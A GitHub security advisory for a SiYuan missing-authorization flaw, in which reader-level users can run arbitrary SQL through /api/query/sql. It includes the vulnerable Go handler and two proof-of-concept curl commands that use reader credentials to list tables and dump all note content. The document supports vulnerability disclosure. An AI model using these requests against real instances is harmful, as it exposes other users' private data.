Skip to content

SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access

Moderate severity GitHub Reviewed Published Mar 3, 2026 in siyuan-note/siyuan • Updated Mar 6, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20260113130602-4ba64580c29c

Patched versions

None

Description

Summary

/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on

# List out all tables in the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'


# Extract all user content from the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact

  • High impact, reader users can query all data in the db including other users notes
  • SQL api is mostly for select queries, but without validation, writes can still happen
  • Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it

References

@88250 88250 published to siyuan-note/siyuan Mar 3, 2026
Published to the GitHub Advisory Database Mar 3, 2026
Reviewed Mar 3, 2026
Published by the National Vulnerability Database Mar 6, 2026
Last updated Mar 6, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(18th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-29073

GHSA ID

GHSA-jqwg-75qf-vmf9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.